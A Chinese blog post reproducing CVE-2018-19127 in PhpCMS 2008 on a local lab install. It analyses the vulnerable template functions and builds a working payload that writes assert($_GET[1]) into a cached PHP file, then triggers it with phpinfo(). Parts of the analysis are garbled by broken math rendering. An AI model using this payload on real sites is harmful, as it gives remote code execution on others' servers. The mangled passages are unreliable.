注:
本文收首发于我的个人博客:
我的博客
若想又更好的观看体验,请移步至我的博客
述
这篇文章介绍CVE-2018-19127的复现,是去年阿里发现的,漏洞poc非常精巧.
环境搭建
windows
phpstudy
lamp环境
phpcms<2008
phpcms安装
<PhpCMS2008 sp4 build 20111122 UTF-8>: http://down.chinaz.com/soft/24190.htm
开启phpstudy,将phpcms解压包的phpcms目录放入phpstudy的www目录下,或者用phpstudy再建立个网站. 访问http://127.0.0.1/phpcms 跳转到安装界面:
正常安装到第三步,我是php5.4.45 它需要short_open_tag扩展,默认不打开,到phpstudy的php.ini,找到这一设置设为ON,重启apache即可.
到最后一步,安装执行sql语句失败,是TYPE错误.原因是mysql数据库版本高于5.1,将phpcms内所有安装文件内的.sql文件中”TYPE=”更改为”ENGINE=”即可,这里我只选择安装必要模块,所以只改了install/main,member/install,order/install与pay/install内的.sql文件.最终安装成功.
漏洞分析
用seay加载phpcms进行分析 漏洞发生在phpcms/type.php文件中,打开type.php
if(empty($template)) $template = 'type';
$head['title'] = '类别首页_'.$PHPCMS['sitename'];
$head['keywords'] = $PHPCMS['meta_keywords'];
$types = array();
foreach($TYPE AS $k=>$v) {
if($v['module'] != 'phpcms') continue;
$types[$k] = $v; } $TYPE = $types;
$ttl = CACHE_PAGE_LIST_TTL; header('Last-Modified: '.gmdate('D, d M Y H:i:s', TIME).' GMT');
header('Expires: '.gmdate('D, d M Y H:i:s', TIME + $ttl).' GMT');
header('Cache-Control: max-age='.$ttl.', must-revalidate');
include template('phpcms', $template); cache_page($ttl);
关键两句
if(empty($template)) $template = 'type';
include template('phpcms', $template);
包含了经过template函数处理的文件,全局搜索一下函数,在include/global.func.php文件中:
function template($module = 'phpcms', $template = 'index', $istag = 0)
{
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
{
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
}
return $compiledtplfile;
}
if条件进行了三个判断,想执行require_once()函数,我们要用KaTeX parse error: Expected 'EOF', got '&' at position 37: …第一个TPL_REFRESH &̲& (!file_exists…compiledtplfile) 与第二个@filemtime(TPL_ROOT.TPL_NAME.’/’. m o d u l e . ’ / ’ . module.’/’. module.’/’.template.’.html’判断是假,而第三个,文件TPL_ROOT.TPL_NAME.’/tag.inc.php即template/default/tag.inc.php时钟存在,而compiledtplfile是我们利用payload新建的文件所以这个为真.
可以看到进入if之后,包含了一个函数文件,并执行了
template_compile($module, $template, $istag);
跟进include/template.func.php文件查看此函数:
function template_compile($module, $template, $istag = 0)
{
$tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html';
$content = @file_get_contents($tplfile); if($content === false) showmessage("$tplfile is not exists!");
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
@chmod($compiledtplfile, 0777);
return $strlen;
}
第一个函数便是,先是由 t e m p l a t e 参 数 组 成 的 template参数组成的 template参数组成的tplfile文件是否存在,再判断 t e m p l a t e 前 四 个 字 符 是 否 为 t a g , 若 是 , 就 将 template前四个字符是否为tag_,若是,就将 template前四个字符是否为tag,若是,就将template参数写入PHP文件中.
poc构造
首先文件经过
t
e
m
p
l
a
t
e
包
含
了
d
a
t
a
/
c
a
c
h
e
t
e
m
p
l
a
t
e
/
p
h
p
c
m
s
’
.
template包含了data/cache_template/phpcms_’.
template包含了data/cachetemplate/phpcms’.template.’.tpl.php
而在template_compile函数中又将 t e m p l a t e 中 的 内 容 写 到 了 这 个 文 件 中 , 这 个 内 容 我 们 可 以 控 制 , 要 想 写 入 , template中的内容写到了这个文件中,这个内容我们可以控制,要想写入, template中的内容写到了这个文件中,这个内容我们可以控制,要想写入,template前四个字符得为’tag_’
之后一个难点就是让 t e m p l a t e 参 数 既 包 含 代 码 , 而 且 t e m p l a t e / d e f a u l t / . template参数既包含代码,而且template/default/. template参数既包含代码,而且template/default/.template.’.html文件又存在,看看emplate/default/目录:
这样看来最后几个字符也已经确定了,让参数template参数绕过代码一级的目录回到上一级,这里选择rss.html文件,那么$template参数是tag_xxxxxx/…/rss
最后就是看写入的PHP代码语法问题了
<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>
首先当然就是要函数名$template=tag_(){}xxxxxxx/…/rss
中间的部分就可以随便填代码了,最后为了不显示不可预料的错误将后面的代码注释掉,结合之前的目录路径’/’,现在KaTeX parse error: Expected '}', got 'EOF' at end of input: …,所以终极版payload就是template=tag_(){code{//…/rss,code代码用assert($_GET[1]);试验一下.
之前创建的php文件是data/cache_template/rss.tpl.php,访问:
127.0.0.1/phpcms/data/cache_template/rss.tpl.php?1=phpinfo()
成功执行:
poc利用代码
talking is cheat,show me the code.
python利用代码我放在了我的github上:
https://github.com/turben/poc/tree/master/phpcmspoc
还有phpcms的所有目录文件,用作以后的目录爆破.
参考:
https://www.jianshu.com/p/8dc6eade220f
https://github.com/ab1gale/phpcms-2008-CVE-2018-19127